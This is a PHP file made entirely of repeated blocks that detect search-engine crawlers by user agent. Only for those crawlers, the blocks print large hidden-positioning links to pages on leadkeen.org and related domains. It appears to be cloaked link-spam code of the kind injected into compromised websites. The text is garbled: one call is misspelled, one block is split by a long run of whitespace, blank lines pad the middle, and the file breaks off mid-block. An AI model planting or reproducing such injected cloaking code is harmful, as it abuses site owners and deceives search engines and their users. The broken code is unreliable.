<?php if(!f(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/serving.php' style=\"font-size:45px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">magazine</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/addition.php' style=\"font-size:42px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">About us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/sunshine.php' style=\"font-size:33px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">blog</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/cow.php' style=\"font-size:44px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">contacts</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/somewhere.php' style=\"font-size:42px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">About us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/attorney.php' style=\"font-size:37px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Gallery</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/get.php' style=\"font-size:44px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Contact us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/retorted.php' style=\"font-size:37px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">shop</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/advantages.php' style=\"font-size:38px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Shop</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/neighbouring.php' style=\"font-size:36px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Info</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/fifteen.php' style=\"font-size:37px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Contact</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/socks.php' style=\"font-size:36px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Our Blog</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/gloria.php' style=\"font-size:42px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">join us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.mkbumimas.com/confide.php' style=\"font-size:36px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">contact us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/discussed.php' style=\"font-size:39px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">join us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/uncommon.php' style=\"font-size:33px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">About us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/elinor.php' style=\"font-size:34px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">info</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/scientific.php' style=\"font-size:32px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">About Us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/marry.php' style=\"font-size:44px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">contacts</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/nod.php' style=\"font-size:35px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">info</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/weapon.php' style=\"font-size:30px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Contact</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/reflected.php' style=\"font-size:40px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">our blog</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/motionless.php' style=\"font-size:35px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Our magazine</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/amuse.php' style=\"font-size:34px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">info</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/solid.php' style=\"font-size:44px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">join us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/sterile.php' style=\"font-size:34px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">contact us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/dad.php' style=\"font-size:33px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Gallery</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/overcoat.php' style=\"font-size:43px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Contact</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/absent.php' style=\"font-size:35px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">our shop</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/triple.php' style=\"font-size:41px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">shop</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/aim.php' style=\"font-size:43px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Gallery</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/joking.php' style=\"font-size:42px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Gallery</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/foal.php' style=\"font-size:33px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">blog</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/delay.php' style=\"font-size:39px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">About us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/escape.php' style=\"font-size:34px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Contact</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/instances.php' style=\"font-size:43px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">contact us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/choked.php' style=\"font-size:42px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Our Shop</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/foregoing.php' style=\"font-size:31px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">our magazine</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/application.php' style=\"font-size:32px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Our Magazine</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/specification.php' style=\"font-size:39px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">contact</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/cork.php' style=\"font-size:36px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">About Us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/civil.php' style=\"font-size:36px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">contact us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/romance.php' style=\"font-size:45px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Join us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/robbery.php' style=\"font-size:31px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">contact us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/peg.php' style=\"font-size:37px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">contacts</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/subsequently.php' style=\"font-size:34px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Contact us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/unit.php' style=\"font-size:37px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">our magazine</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/pre.php' style=\"font-size:32px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Contacts</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/animal.php' style=\"font-size:41px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">About Us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/asking.php' style=\"font-size:45px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">our shop</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/remote.php' style=\"font-size:35px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">info</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/phrase.php' style=\"font-size:30px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">shop</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/shower.php' style=\"font-size:41px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">shop</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/explicit.php' style=\"font-size:38px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Join</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/labor.php' style=\"font-size:31px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">contacts</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/triumphal.php' style=\"font-size:41px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Contact</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/thoughtfully.php' style=\"font-size:43px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Our Magazine</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/easily.php' style=\"font-size:34px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Contact us</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/conviction.php' style=\"font-size:31px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Our shop</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){i                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           reg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/dressed.php' style=\"font-size:37px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Shop</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://mail.leadkeen.org/sweep.php' style=\"font-size:40px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Blog</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://mail.leadkeen.org/companion.php' style=\"font-size:35px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">info</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/dentist.php' style=\"font-size:41px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">magazine</a><br />";}@$codevyp=true;}?><?php





























































































































































































 if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.mkbumimas.com/eat.php' style=\"font-size:41px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Join</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://mail.leadkeen.org/array.php' style=\"font-size:30px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Join</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/wheelbarrow.php' style=\"font-size:44px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">shop</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/narrative.php' style=\"font-size:30px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Contact</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match('/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i',$_SERVER[HTTP_USER_AGENT])){echo "<a href='http://leadkeen.org/fourteenth.php' style=\"font-size:37px;color:black;margin-top:20px 